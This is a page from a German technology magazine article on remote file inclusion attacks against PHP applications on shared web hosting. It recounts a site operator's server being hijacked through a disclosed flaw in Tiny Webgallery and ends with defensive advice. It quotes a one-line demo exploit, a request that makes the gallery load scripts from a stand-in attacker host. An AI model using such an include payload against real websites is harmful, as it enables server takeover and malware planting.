Seite 4: Das PHP-Dilemma

Inhaltsverzeichnis

Das PHP-Dilemma

Am 14. August fiel Ralf M. aus allen Wolken: "Wir registrierten vor kurzem einen Hackversuch auf unseren Servern, der von Ihrer Präsenz ausging", schrieb ihm sein Provider. Was war passiert?

Ralf M. betreibt eine Website, auf der er seinen Besuchern unter anderem mit der PHP-Software Tiny Webgallery eine Bildersammlung bereitstellt. Am 10. August hatte ein Hacker unter dem Pseudonym xoron auf der Mailingliste Full Disclosure eine Sicherheitslücke in dieser PHP-Software veröffentlicht - praktischerweise gleich mit Demo-Exploit:

image.php?image=http://evil_scripts

Ab dem 12. August prasselten Dutzende von Anfragen nach diesem Schema auf den Server ein. Sie luden komplette PHP-Shells von vornehmlich osteuropäischen Servern nach, die von der Installation von Hintertüren und lokalen Kernel-Exploits bis zum Kommandozeilenprompt alles bieten, was das Hackerherz begehrt. Was sie im Weiteren alles mit dem Rechner anstellten, lässt sich im Nachhinein nur noch erahnen.

So oder ähnlich ergeht es immer noch Tausenden Website-Betreibern. Denn insbesondere Nutzer eines Shared-Webhosting-Angebots haben kaum eine Möglichkeit, sich zu schützen. Sei es wie bei Ralf M. die Bildergalerie, ein Forum oder gar eine Datenbankanbindung - schnell ist der Wunsch nach einer PHP-Anwendung da. Selber schreiben kommt in den meisten Fällen nicht in Frage; ganz abgesehen davon, dass das sicherheitstechnisch nicht unbedingt ein Fortschritt wäre. Und wenn man eine fremde PHP-Applikation installiert, muss man eigentlich schon fast davon ausgehen, dass man sich die ein oder andere Sicherheitslücke gleich mit ins Haus holt. In den einschlägigen Foren werden jedenfalls täglich rund ein halbes Dutzend neue veröffentlicht.

Solche Sicherheitslöcher werden dann von kriminellen Banden systematisch und professionell ausgenutzt: Sites mit der verwundbaren Software lassen sich anhand charakteristischer Ausgaben mit Google schnell aufspüren. Für den Einbruch liegen auf bereits gekaperten Servern PHP-Shells bereit. Innerhalb weniger Tage nach der Veröffentlichung einer Schwachstelle wird ein Server für allerhand Illegales missbraucht. In Webseiten eingefügte Codezeilen nutzen dann Browserlücken aus, um Keylogger und andere Spyware auf dem Rechner der Besucher zu installieren, oder die Systeme kommen als performante DDoS-Clients oder Spam-Schleudern zu Einsatz.

Als vorbeugende Maßnahme wäre es wünschenswert, wenn man durch irgendwelche Schalter festlegen könnte, dass PHP-Applikationen - egal was passiert - keinesfalls Code von einem externen Server laden und ausführen dürfen. Doch das scheitert daran, dass sich die im Kasten zur php.ini aufgeführten Optionen nur global in der systemweiten PHP-Konfiguration setzen lassen. Das wiederum können die Hoster nicht, weil dann viele Webapplikationen ihrer Kunden nicht mehr funktionierten.

Grundsätzliche Besserung ist leider nicht in Sicht: Weder lokalisierte Sicherheitsoptionen, mit denen der Web-Hosting-Kunde die Möglichkeiten seiner PHP-Applikationen selbst einschränken könnte, noch ein Perl-ähnlicher Taint-Modus stehen auf der PHP-Roadmap. Wer auf einem Shared-Hosting-Angebot eine PHP-Anwendung betreibt, dem bleibt folglich nur, häufig auf den Seiten des Herstellers nach neuen Version zu schauen und diese zügig zu installieren. (ju)